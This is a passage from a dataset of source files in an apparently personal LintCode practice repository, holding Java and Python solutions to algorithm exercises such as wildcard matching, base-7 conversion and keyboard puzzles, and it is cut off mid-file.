move(ticTacToe, 1, 2);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 0, 0);\n move(ticTacToe, 0, 0);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 0, 1);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 2, 1);\n move(ticTacToe, 0, 0);\n move(ticTacToe, 1, 1);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 0, 1);\n move(ticTacToe, 2, 0);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 2, 1);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 2, 1);\n move(ticTacToe, 0, 1);\n move(ticTacToe, 0, 1);\n move(ticTacToe, 2, 0);\n move(ticTacToe, 0, 0);\n move(ticTacToe, 2, 2);\n move(ticTacToe, 2, 0);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 2, 2);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 2, 0);\n move(ticTacToe, 2, 2);\n move(ticTacToe, 1, 0);\n move(ticTacToe, 1, 1);\n move(ticTacToe, 2, 2);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 0, 0);\n move(ticTacToe, 2, 2);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 2, 1);\n move(ticTacToe, 0, 2);\n move(ticTacToe, 1, 0);\n move(ticTacToe, 2, 1);\n move(ticTacToe, 2, 2);\n move(ticTacToe, 1, 0);\n move(ticTacToe, 1, 1);\n move(ticTacToe, 2, 1);\n move(ticTacToe, 2, 1);\n move(ticTacToe, 1, 2);\n move(ticTacToe, 0, 1);\n move(ticTacToe, 0, 1);\n move(ticTacToe, 1, 1);\n\n }\n\n public static void move(TicTacToe ticTacToe, int row, int col) {\n try {\n ticTacToe.move(row, col);\n } catch (AlreadyTakenException e) {\n// e.printStackTrace();\n } catch (GameEndException e) {\n// e.printStackTrace();\n }\n// ticTacToe.print();\n }\n}\n"
},
{
"alpha_fraction": 0.4478040039539337,
"alphanum_fraction": 0.45243874192237854,
"avg_line_length": 25.4970760345459,
"blob_id": "5c4ce8095576bcc768fac36d0abc96b3d4b476aa",
"content_id": "7ff4b99efc817142906ea8eafc350c9a3669cecd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 9106,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 342,
"path": "/java/src/main/java/T20180924/WildcardMatching.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180924;\n\nimport java.util.Stack;\n\n/**\n * Description\n * Implement wildcard pattern matching with support for '?' and '*'.\n * <p>\n * '?' Matches any single character.\n * '*' Matches any sequence of characters (including the empty sequence).\n * The matching should cover the entire input string (not partial).\n * <p>\n * Example\n * isMatch(\"aa\",\"a\") → false\n * isMatch(\"aa\",\"aa\") → true\n * isMatch(\"aaa\",\"aa\") → false\n * isMatch(\"aa\", \"*\") → true\n * isMatch(\"aa\", \"a*\") → true\n * isMatch(\"ab\", \"?*\") → true\n * isMatch(\"aab\", \"c*a*b\") → false\n */\npublic class WildcardMatching {\n\n /**\n * @param s: A string\n * @param p: A string includes \"?\" and \"*\"\n * @return: is Match?\n */\n public boolean isMatch(String s, String p) {\n // write your code here\n Pattern[] patterns = parsePattern(p);\n\n if (patterns.length == 1) {\n return patterns[0].matchRest(s.toCharArray(), 0);\n }\n\n int m = 0;\n int[] minLength = new int[patterns.length];\n for (int i = patterns.length - 1; i >= 0; i--) {\n minLength[i] = m;\n Pattern pattern = patterns[i];\n m += pattern.minLength();\n }\n\n\n int pIndex = 0;\n int index = 0;\n Pattern pattern = patterns[0];\n char[] chars = s.toCharArray();\n\n int lastPattern = patterns.length - 1;\n boolean isNew = true;\n for (; ; ) {\n if (isNew) {\n index = pattern.match(chars, index);\n } else {\n index = pattern.nextMatch(chars);\n }\n\n if (index == -1) {\n //匹配失败,回退\n if (pIndex == 0) {\n return false;\n }\n pattern = patterns[--pIndex];\n isNew = false;\n } else {\n if (index + minLength[pIndex] > chars.length) {\n return false;\n }\n //匹配成功,下一个\n pattern = patterns[++pIndex];\n if (pIndex == lastPattern) {\n if (pattern.matchRest(chars, index)) {\n return true;\n } else {\n pattern = patterns[--pIndex];\n isNew = false;\n }\n } else {\n isNew = true;\n }\n }\n }\n }\n\n private Pattern[] parsePattern(String str) {\n\n Stack<Pattern> patterns = new Stack<>();\n int start = -1;\n int i = 0;\n Pattern nextPattern = null;\n Pattern prePattern = null;\n char pre = 0;\n for (; i < str.length(); i++) {\n char ch = str.charAt(i);\n switch (ch) {\n case '?':\n nextPattern = new QuestionPattern();\n break;\n case '*':\n if (pre == '*')\n continue;\n nextPattern = new AsteriskPattern();\n break;\n default:\n if (start == -1) {\n start = i;\n }\n break;\n }\n pre = ch;\n if (nextPattern != null) {\n\n if (start != -1) {\n char[] chars = new char[i - start];\n str.getChars(start, i, chars, 0);\n if (prePattern instanceof AsteriskPattern) {\n patterns.pop();\n patterns.add(new AsteriskAndCharsPattern(chars));\n } else {\n patterns.add(new CharsPattern(chars));\n }\n start = -1;\n }\n\n prePattern = nextPattern;\n patterns.add(nextPattern);\n nextPattern = null;\n }\n }\n if (start != -1) {\n char[] chars = new char[i - start];\n str.getChars(start, i, chars, 0);\n if (prePattern instanceof AsteriskPattern) {\n patterns.pop();\n patterns.add(new AsteriskAndCharsPattern(chars));\n } else {\n patterns.add(new CharsPattern(chars));\n }\n }\n\n return patterns.toArray(new Pattern[patterns.size()]);\n }\n\n private static interface Pattern {\n abstract int match(char[] chars, int start);\n\n abstract int nextMatch(char[] chars);\n\n abstract boolean matchRest(char[] chars, int start);\n\n int minLength();\n\n }\n\n private static class QuestionPattern implements Pattern {\n\n @Override\n public int match(char[] chars, int start) {\n return start + 1;\n }\n\n @Override\n public int nextMatch(char[] chars) {\n return -1;\n }\n\n @Override\n public boolean matchRest(char[] chars, int start) {\n return chars.length == start + 1;\n }\n\n @Override\n public int minLength() {\n return 1;\n }\n\n @Override\n public String toString() {\n return \"?\";\n }\n }\n\n private static class AsteriskPattern implements Pattern {\n\n private int matched;\n\n @Override\n public int match(char[] chars, int start) {\n matched = start;\n if (matched >= chars.length) {\n return -1;\n }\n return matched;\n }\n\n @Override\n public int nextMatch(char[] chars) {\n ++matched;\n if (matched >= chars.length) {\n return -1;\n }\n return matched;\n }\n\n @Override\n public boolean matchRest(char[] chars, int start) {\n return true;\n }\n\n @Override\n public int minLength() {\n return 0;\n }\n\n @Override\n public String toString() {\n return \"*\";\n }\n }\n\n private static class CharsPattern implements Pattern {\n char[] chars;\n\n public CharsPattern(char[] chars) {\n this.chars = chars;\n }\n\n @Override\n public int match(char[] chars, int start) {\n if (chars.length < this.chars.length + start) {\n return -1;\n }\n if (isEqual(chars, start, this.chars)) {\n return start + this.chars.length;\n } else {\n return -1;\n }\n }\n\n @Override\n public int nextMatch(char[] chars) {\n return -1;\n }\n\n @Override\n public boolean matchRest(char[] chars, int start) {\n if (chars.length != this.chars.length + start) {\n return false;\n }\n return isEqual(chars, start, this.chars);\n }\n\n @Override\n public int minLength() {\n return chars.length;\n }\n\n @Override\n public String toString() {\n return new String(chars);\n }\n }\n\n private static class AsteriskAndCharsPattern implements Pattern {\n\n private int matched;\n\n char[] nextChars;\n\n public AsteriskAndCharsPattern(char[] chars) {\n this.nextChars = chars;\n }\n\n @Override\n public int match(char[] chars, int start) {\n matched = start;\n\n int last = chars.length - this.nextChars.length;\n while (matched < last && !isEqual(chars, matched, nextChars)) {\n ++matched;\n }\n\n if (matched >= last) {\n return -1;\n }\n return matched + nextChars.length;\n }\n\n @Override\n public int nextMatch(char[] chars) {\n ++matched;\n int last = chars.length - this.nextChars.length;\n while (matched < last && !isEqual(chars, matched, nextChars)) {\n ++matched;\n }\n\n if (matched >= last) {\n return -1;\n }\n return matched + nextChars.length;\n }\n\n @Override\n public boolean matchRest(char[] chars, int start) {\n int end = chars.length - nextChars.length;\n if (end < start) {\n return false;\n }\n return isEqual(chars, end, nextChars);\n }\n\n @Override\n public int minLength() {\n return nextChars.length;\n }\n\n @Override\n public String toString() {\n return \"*\" + new String(nextChars);\n }\n }\n\n private static boolean isEqual(char[] chars, int start, char[] sub) {\n if (start + sub.length > chars.length) {\n return false;\n }\n for (int i = 0; i < sub.length; i++) {\n char c = sub[i];\n if (c != chars[start + i]) {\n return false;\n }\n }\n return true;\n }\n\n public static void main(String[] args) {\n System.out.println(new WildcardMatching().isMatch(\"a\",\n \"a*\"));\n }\n}\n"
},
{
"alpha_fraction": 0.4012638330459595,
"alphanum_fraction": 0.4391785264015198,
"avg_line_length": 19.419355392456055,
"blob_id": "80362dc4510a61ac068207546cbba732dbafb636",
"content_id": "cb7fea76c3addb33c553ea08b074bcc199e8c93a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 633,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 31,
"path": "/java/src/main/java/T20170104/Fibonacci.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20170104;\n\n/**\n * Created by TomNg on 2017/1/4.\n */\npublic class Fibonacci {\n /**\n * @param n: an integer\n * @return an integer f(n)\n */\n public int fibonacci(int n) {\n // write your code here\n if (n == 1)\n return 0;\n if (n == 2 || n == 3)\n return 1;\n int p = 1;\n int pp = 1;\n int result = 1;\n while (n-- > -1) {\n result = p + pp;\n pp = p;\n p = result;\n }\n return result;\n }\n\n public static void main(String args[]) {\n System.out.print(new Fibonacci().fibonacci(5));\n }\n}\n"
},
{
"alpha_fraction": 0.4183596670627594,
"alphanum_fraction": 0.44469526410102844,
"avg_line_length": 25.579999923706055,
"blob_id": "1dd7a9eb1ccf03eda6dc86824839369374d35eb1",
"content_id": "fd8c16c710706e496519d2515be4995e1c0b1049",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1329,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 50,
"path": "/java/src/main/java/T20161225/PartitionArrayByOddAndEven.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161225;\n\nimport java.util.Arrays;\n\n/**\n * Partition Array by Odd and Even\n * Partition an integers array into odd number first and even number second.\n * Example\n * Given [1, 2, 3, 4], return [1, 3, 2, 4]\n */\npublic class PartitionArrayByOddAndEven {\n /**\n * @param nums: an array of integers\n * @return: nothing\n */\n public void partitionArray(int[] nums) {\n int start = 0;\n int end = nums.length - 1;\n int tmp;\n while (true) {\n while (start < end) {\n //get odd\n if ((nums[start] & 1) == 0) {\n break;\n }\n ++start;\n }\n while (start < end) {\n if ((nums[end] & 1) != 0) {\n break;\n }\n --end;\n }\n if (start < end) {\n tmp = nums[start];\n nums[start] = nums[end];\n nums[end] = tmp;\n } else {\n break;\n }\n }\n }\n\n public static void main(String args[]) {\n PartitionArrayByOddAndEven p = new PartitionArrayByOddAndEven();\n int[] nums = new int[]{1, 3, 2, 4, 5, 7, 7, 7, 9, 4, 6, 8, 9};\n p.partitionArray(nums);\n System.out.print(Arrays.toString(nums));\n }\n}\n"
},
{
"alpha_fraction": 0.38131868839263916,
"alphanum_fraction": 0.4076923131942749,
"avg_line_length": 23.594594955444336,
"blob_id": "551ef098261d6af2cdc5d5b9d5d0f6fe15fe47dd",
"content_id": "6d40c0a72d2b48ecae935138715c5be0e8f91a72",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 910,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 37,
"path": "/java/src/main/java/T20161227/BestTimeToBuyAndSellStockII.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161227;\n\n/**\n * Created by TomNg on 2016/12/27.\n */\npublic class BestTimeToBuyAndSellStockII {\n\n /**\n * @param prices: Given an integer array\n * @return: Maximum profit\n */\n public int maxProfit(int[] prices) {\n if (prices.length == 0)\n return 0;\n int result = 0;\n boolean empty = true;\n int buy = 0;\n int last = prices.length - 1;\n for (int i = 0; i < last; i++) {\n if (empty) {\n if (prices[i] < prices[i + 1]) {\n buy = prices[i];\n empty = false;\n }\n } else {\n if (prices[i] > prices[i + 1]) {\n result += prices[i] - buy;\n empty = true;\n }\n }\n }\n if (!empty) {\n result += prices[last] - buy;\n }\n return result;\n }\n}\n"
},
{
"alpha_fraction": 0.5244134664535522,
"alphanum_fraction": 0.529486358165741,
"avg_line_length": 23.640625,
"blob_id": "77c31987196d536f4ef1c6ba69c6453cfc761350",
"content_id": "4714a73213cd922729c397df3bbf2f39c3ac7ded",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1577,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 64,
"path": "/java/src/main/java/T20180909/RouteBetweenTwoNodesInGraph.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180909;\n\nimport java.util.ArrayList;\nimport java.util.Stack;\n\n/**\n * Description\n * Given a directed graph, design an algorithm to find out whether there is a route between two nodes.\n * <p>\n * Example\n * Given graph:\n * <p>\n * A----->B----->C\n * \\ |\n * \\ |\n * \\ |\n * \\ v\n * ->D----->E\n * for s = B and t = E, return true\n * <p>\n * for s = D and t = C, return false\n */\n\npublic class RouteBetweenTwoNodesInGraph {\n\n class DirectedGraphNode {\n int label;\n ArrayList<DirectedGraphNode> neighbors;\n\n DirectedGraphNode(int x) {\n label = x;\n neighbors = new ArrayList<DirectedGraphNode>();\n }\n }\n\n /*\n * @param graph: A list of Directed graph node\n * @param s: the starting Directed graph node\n * @param t: the terminal Directed graph node\n * @return: a boolean value\n */\n public boolean hasRoute(ArrayList<DirectedGraphNode> graph, DirectedGraphNode s, DirectedGraphNode t) {\n // write your code here\n final int tLabel = t.label;\n if (s.label == tLabel)\n return true;\n DirectedGraphNode c = s;\n Stack<DirectedGraphNode> stack = new Stack<>();\n for (; ; ) {\n for (DirectedGraphNode neighbor : c.neighbors) {\n if (neighbor.label == tLabel) {\n return true;\n } else {\n stack.push(neighbor);\n }\n }\n\n if (stack.isEmpty()) {\n return false;\n }\n c = stack.pop();\n }\n }\n}\n"
},
{
"alpha_fraction": 0.45697328448295593,
"alphanum_fraction": 0.49109792709350586,
"avg_line_length": 28.30434799194336,
"blob_id": "2143fb87bf37b059c3a67be5d8c9ee9a5076a41e",
"content_id": "56acc67c9a562f851326e7faac9acf2af0dd382e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 674,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 23,
"path": "/python/20161213/PlusOne.py",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "class Solution:\n # @param {int[]} digits a number represented as an array of digits\n # @return {int[]} the result\n @staticmethod\n def plusOne(digits):\n index = len(digits) - 1\n digits[index] = digits[index] + 1\n while digits[index] == 10:\n digits[index] = 0\n if index > 0:\n index = index - 1\n digits[index] = digits[index] + 1\n else:\n digits.insert(0, 1)\n return digits\n return digits\n\n\nif __name__ == '__main__':\n a = Solution()\n print(a.plusOne([1, 2, 3]))\n print(a.plusOne([9, 9, 9, 9, 9, 9]))\n print(a.plusOne([2, 2, 3, 9]))\n"
},
{
"alpha_fraction": 0.45268815755844116,
"alphanum_fraction": 0.4935483932495117,
"avg_line_length": 21.14285659790039,
"blob_id": "9be385bcfba13f7fa50ee7a469c8b8ffa85a6998",
"content_id": "5bbf5c6c827050a7f6a877887ab10c06a8f5604d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 930,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 42,
"path": "/java/src/main/java/T20180907/Base7.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180907;\n\n/**\n * Description\n * Given an integer, return its base 7 string representation.\n * <p>\n * The input will be in range of [-1e7, 1e7].\n * <p>\n * Example\n * Given num = 100, return \"202\".\n * <p>\n * Given num = -7, return \"-10\".\n */\npublic class Base7 {\n\n /**\n * @param num: the given number\n * @return: The base 7 string representation\n */\n public String convertToBase7(int num) {\n // Write your code here\n boolean negative = false;\n if (num < 0) {\n negative = true;\n num = -num;\n }\n\n StringBuilder sb = new StringBuilder(10);\n while (num > 0) {\n sb.append(digits[num % 7]);\n num = num / 7;\n }\n if (negative) {\n sb.append('-');\n }\n return sb.reverse().toString();\n }\n\n private final static char[] digits = {\n '0', '1', '2', '3', '4', '5', '6'\n };\n}\n"
},
{
"alpha_fraction": 0.39212489128112793,
"alphanum_fraction": 0.455265611410141,
"avg_line_length": 28.80555534362793,
"blob_id": "4c316b06311e185a8ef05cfa843d2d29decd06da",
"content_id": "9ccaf62df738b6b148788edd2c640ec8c63e6e52",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 4316,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 144,
"path": "/java/src/main/java/T20180911/KthSmallestInLexicographicalOrderIII.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180911;\n\n/**\n * Description\n * Given integers n and k, find the lexicographically k-th smallest integer in the range from 1 to n.\n * <p>\n * 1 ≤ k ≤ n ≤ 1e9.\n * <p>\n * Example\n * Input:\n * n: 13 k: 2\n * <p>\n * Output:\n * 10\n * <p>\n * Explanation:\n * The lexicographical order is [1, 10, 11, 12, 13, 2, 3, 4, 5, 6, 7, 8, 9], so the second smallest number is 10.\n */\npublic class KthSmallestInLexicographicalOrderIII {\n\n final static int[] sizeTable = {9, 99, 999, 9999, 99999, 999999, 9999999,\n 99999999, 999999999, Integer.MAX_VALUE};\n final static int[] tenTable = {1, 10, 100, 1000, 10000, 100000, 1000000,\n 10000000, 100000000, 1000000000};\n final static int[] lenTable = {1, 11, 111, 1111, 11111, 111111, 1111111,\n 11111111, 111111111, 1111111111};\n\n // Requires positive x\n static int numSize(int x) {\n for (int i = 0; ; i++)\n if (x <= sizeTable[i])\n return i + 1;\n }\n\n /**\n * @param n: a integer\n * @param k: a integer\n * @return: return a integer\n */\n public int findKthNumber(int n, int k) {\n // write your code here\n int c = 1;\n int rest = k - 1;\n Root root = new Root(n);\n while (rest > 0) {\n int length = root.lengthOf(c);\n if (rest < length) {\n rest -= 1;\n c = m10(c);\n } else {\n rest -= length;\n c = c + 1;\n }\n }\n return c;\n }\n\n static int maxLeft = (Integer.MAX_VALUE) / 10;\n static int maxRight = (Integer.MAX_VALUE - 9) / 10;\n\n private class Root {\n int max;//length of numbers\n int maxLevel;//max level of tree\n int fullLevel;\n int[] maxs;\n\n public Root(int max) {\n this.max = max;\n maxLevel = numSize(max);\n fullLevel = maxLevel - 1;\n maxs = new int[maxLevel];\n int c = max;\n for (int i = maxLevel - 1; i >= 0; i--) {\n maxs[i] = c;\n c = c / 10;\n }\n }\n\n private int lengthOf(int i) {\n int level = numSize(i);\n int count = 1;\n\n int currentFullLevelMax = maxs[level - 1];\n if (i < currentFullLevelMax) {\n //满的\n int diff = maxLevel - level;\n count = lenOf(diff);\n } else if (i == currentFullLevelMax) {\n //残缺的\n int left = i;\n int right = i;\n int length = 1;\n if (level < fullLevel) {\n int diff = fullLevel - level;\n length = p10(diff);\n left = left * length;\n right = (right + 1) * length - 1;\n count = lenOf(diff);\n }\n if (level < maxLevel) {\n if (left > maxLeft || right > maxRight) {\n return count;\n }\n right = m10(right) + 9;\n if (right > max) {\n left = m10(left);\n if (left > max) {\n return count;\n } else {\n count += max - left + 1;\n }\n } else {\n count += m10(length);\n }\n }\n } else {\n //少一层的\n int diff = fullLevel - level;\n count = lenOf(diff);\n }\n\n return count;\n }\n }\n\n private int m10(int i) {\n return (i << 3) + (i << 1);\n }\n\n private int p10(int i) {\n return tenTable[i];\n }\n\n private int lenOf(int i) {\n return lenTable[i];\n }\n\n public static void main(String[] args) {\n// System.out.println(new KthSmallestInLexicographicalOrder().findKthNumber(200234234, 1833));\n System.out.println(new KthSmallestInLexicographicalOrderIII().findKthNumber(1000000000, 354646416));\n// System.out.println(new KthSmallestInLexicographicalOrder().findKthNumber(13, 2));\n// System.out.println(new KthSmallestInLexicographicalOrderII().findKthNumber(200, 18));\n }\n}\n"
},
{
"alpha_fraction": 0.42311885952949524,
"alphanum_fraction": 0.4885496199131012,
"avg_line_length": 26.787878036499023,
"blob_id": "b38749661078cb4b9b7876f0c7f6cb91fdf3d3fa",
"content_id": "ffb0be74e36b50987a8b87479b02ff4760bae1af",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 917,
"license_type": "no_license",
"max_line_length": 150,
"num_lines": 33,
"path": "/java/src/main/java/T20161217/ReversePairs.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161217;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Reverse Pairs\n * For an array A, if i < j, and A [i] > A [j], called (A [i], A [j]) is a reverse pair.\n * return total of reverse pairs in A.\n * Example\n * Given A = [2, 4, 1, 3, 5] , (2, 1), (4, 1), (4, 3) are reverse pairs. return 3\n */\npublic class ReversePairs {\n /**\n * @param A an array\n * @return total of reverse pairs\n */\n public long reversePairs(int[] A) {\n long cnt = 0;\n for (int i = 0; i < A.length; i++) {\n for (int j = i + 1; j < A.length; j++) {\n if (A[i] > A[j]) {\n ++cnt;\n }\n }\n }\n return cnt;\n }\n\n public static void main(String args[]) {\n System.out.print(new ReversePairs().reversePairs(new int[]{1, 3, 2, 1, 5, 6, 3, 21, 234, 65, 21, 3, 6, 7, 23, 12, 3456, 6, 123, 23, 23, 54}));\n }\n}\n"
},
{
"alpha_fraction": 0.4968314468860626,
"alphanum_fraction": 0.5316856503486633,
"avg_line_length": 29.941177368164062,
"blob_id": "1626c084a406d6114e9c1adf3ca5abef7a1c93b6",
"content_id": "2991ed2c4ad12ed3072094b52294ee5305258c84",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1578,
"license_type": "no_license",
"max_line_length": 85,
"num_lines": 51,
"path": "/java/src/main/java/T20161217/IntersectionII.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161217;\n\nimport java.util.*;\n\n/**\n * Intersection of Two Arrays II\n * http://www.lintcode.com/en/problem/intersection-of-two-arrays-ii/\n * Given two arrays, write a function to compute their intersection.\n * <p>\n * Notice\n * Each element in the result should appear as many times as it shows in both arrays.\n * The result can be in any order.\n * Example\n * Given nums1 = [1, 2, 2, 1], nums2 = [2, 2], return [2, 2].\n */\npublic class IntersectionII {\n /**\n * @param nums1 an integer array\n * @param nums2 an integer array\n * @return an integer array\n */\n public int[] intersection(int[] nums1, int[] nums2) {\n Map<Integer, Integer> map = new HashMap<>();\n Integer time;\n for (int num : nums1) {\n time = map.get(num);\n map.put(num, (time == null ? 1 : (time + 1)));\n }\n List<Integer> resultList = new ArrayList<>();\n for (int num : nums2) {\n time = map.get(num);\n if (time != null && time > 0) {\n resultList.add(num);\n map.put(num, time - 1);\n }\n }\n int[] result = new int[resultList.size()];\n int index = 0;\n for (Integer num : resultList) {\n result[index++] = num;\n }\n return result;\n }\n\n public static void main(String args[]) {\n int[] a = new int[]{1, 2, 3, 4, 5, 6, 87, 9, 9, 4, 3};\n int[] b = new int[]{1, 2, 33, 4, 53, 6, 89, 92, 4, 3};\n int[] c = new IntersectionII().intersection(a, b);\n System.out.print(c.length);\n }\n}\n"
},
{
"alpha_fraction": 0.4523809552192688,
"alphanum_fraction": 0.47089946269989014,
"avg_line_length": 25.372093200683594,
"blob_id": "c00d70f48432db45d37c0dbc4d78219bc0c6dfe4",
"content_id": "447fe1e974de11fd2e2df67e7a777b3e83b1d133",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1134,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 43,
"path": "/java/src/main/java/T20180910/EratosthenesPrime.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180910;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class EratosthenesPrime {\n\n void findPrime(int max) {\n int count = 0;\n boolean[] nums = new boolean[max];\n for (int i = 2; i < max; i++) {\n if (nums[i])\n continue;\n count++;\n System.out.print(i + \",\");\n for (int j = i * 2; j < max; j += i) {\n nums[j] = true;\n }\n }\n System.out.println(\"\\ncount:\" + count);\n }\n\n int[] findPrimeToArray(int max) {\n List<Integer> primes = new ArrayList<>();\n boolean[] nums = new boolean[max];\n for (int i = 2; i < max; i++) {\n if (nums[i])\n continue;\n primes.add(i);\n for (int j = i * 2; j < max; j += i) {\n nums[j] = true;\n }\n }\n int[] primeArr = new int[primes.size()];\n System.arraycopy(primes.toArray(), 0, primeArr, 0, primeArr.length);\n return primeArr;\n }\n\n public static void main(String[] args) {\n new EratosthenesPrime().findPrime(100000);\n }\n\n}\n"
},
{
"alpha_fraction": 0.4719892740249634,
"alphanum_fraction": 0.48674941062927246,
"avg_line_length": 26.100000381469727,
"blob_id": "b5379c0db3fc458fb7f8d69caff56513aad96efa",
"content_id": "2ba71e8a34a99ddf8aa59201eb23f39a8a1c3aab",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2981,
"license_type": "no_license",
"max_line_length": 167,
"num_lines": 110,
"path": "/java/src/main/java/T20180912/TwoKeysKeyboard.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180912;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Description\n * Initially on a notepad only one character 'A' is present. You can perform two operations on this notepad for each step:\n * <p>\n * Copy All: You can copy all the characters present on the notepad (partial copy is not allowed).\n * Paste: You can paste the characters which are copied last time.\n * Given a number n. You have to get exactly n 'A' on the notepad by performing the minimum number of steps permitted. Output the minimum number of steps to get n 'A'.\n * The n will be in the range [1, 1000].\n * <p>\n * Example\n * Input: 3\n * Output: 3\n * Explanation:\n * Intitally, we have one character 'A'.\n * In step 1, we use Copy All operation.\n * In step 2, we use Paste operation to get 'AA'.\n * In step 3, we use Paste operation to get 'AAA'.\n */\npublic class TwoKeysKeyboard {\n\n static int[] primes;\n\n static {\n primes = findPrimeToArray(1000);\n }\n\n static int[] findPrimeToArray(int max) {\n List<Integer> primes = new ArrayList<>();\n boolean[] nums = new boolean[max];\n for (int i = 2; i < max; i++) {\n if (nums[i])\n continue;\n primes.add(i);\n for (int j = i * 2; j < max; j += i) {\n nums[j] = true;\n }\n }\n int[] primeArr = new int[primes.size()];\n// System.arraycopy(primes.toArray(), 0, primeArr, 0, primeArr.length);\n int size = primes.size() - 1;\n for (int i = 0; i < primeArr.length; i++) {\n primeArr[i] = primes.get(i);\n }\n return primeArr;\n }\n\n /**\n * @param n : the number\n */\n public boolean isPrime(int n) {\n int start = 0;\n int end = primes.length;\n for (; ; ) {\n int middle = (start + end) >> 1;\n int r = primes[middle];\n if (r == n) {\n return true;\n } else if (r > n) {\n if (end == middle) {\n return false;\n }\n end = middle;\n } else {\n if (start == middle) {\n return false;\n }\n start = middle;\n }\n }\n }\n\n /**\n * @param n: The number of 'A'\n * @return: the minimum number of steps to get n 'A'\n */\n public int minSteps(int n) {\n if (isPrime(n)) {\n return n;\n }\n\n int count = 0;\n //divided 2 quickly\n while ((n & 1) == 0) {\n n = n >> 1;\n count += 2;\n }\n\n int prime = 3;\n int i = 1;\n while (n > 1) {\n if (n % prime == 0) {\n count += prime;\n n = n / prime;\n continue;\n }\n prime = primes[++i];\n }\n return count;\n }\n\n public static void main(String[] args) {\n System.out.println(new TwoKeysKeyboard().minSteps(1000));\n }\n\n}\n"
},
{
"alpha_fraction": 0.4612135589122772,
"alphanum_fraction": 0.4700830578804016,
"avg_line_length": 26.964567184448242,
"blob_id": "b7f498508f1239b62016ac49bfc2ae8a2a22a965",
"content_id": "cb797daa989393b18ab75735ed1b17eed58d4fd2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 7111,
"license_type": "no_license",
"max_line_length": 140,
"num_lines": 254,
"path": "/java/src/main/java/T20180912/FourKeysKeyboardII.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180912;\n\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Stack;\n\n/**\n * Description\n * Imagine you have a special keyboard with the following keys:\n * <p>\n * Key 1: (A): Print one 'A' on screen.\n * <p>\n * Key 2: (Ctrl-A): Select the whole screen.\n * <p>\n * Key 3: (Ctrl-C): Copy selection to buffer.\n * <p>\n * Key 4: (Ctrl-V): Print buffer on screen appending it after what has already been printed.\n * <p>\n * Now, you can only press the keyboard for N times (with the above four keys), find out the maximum numbers of 'A' you can print on screen.\n * <p>\n * 1 <= N <= 50\n * Answers will be in the range of 32-bit signed integer.\n * Example\n * Given N = 3, return 3.\n * <p>\n * Explanation:\n * We can at most get 3 A's on screen by pressing following key sequence:\n * A, A, A\n * Given N = 7, return 9.\n * <p>\n * Explanation:\n * We can at most get 9 A's on screen by pressing following key sequence:\n * A, A, A, Ctrl A, Ctrl C, Ctrl V, Ctrl V\n */\npublic class FourKeysKeyboardII {\n\n /**\n * @param N: an integer\n * @return: return an integer\n */\n public int maxA(int N) {\n Nodes nodes = new Nodes(N);\n Node curr = new InitNode(0, 0, 0);\n while (curr != null) {\n nodes.addNode(curr.A(N));\n nodes.addNode(curr.CtrlV(N));\n nodes.addNode(curr.CtrlACV(N));\n curr = nodes.pop();\n }\n return nodes.maxScreen();\n }\n\n private class Nodes {\n\n private int N;\n\n public Nodes(int n) {\n N = n;\n }\n\n List<Node> nodes = new LinkedList<>();\n\n List<Node> finalNodes = new 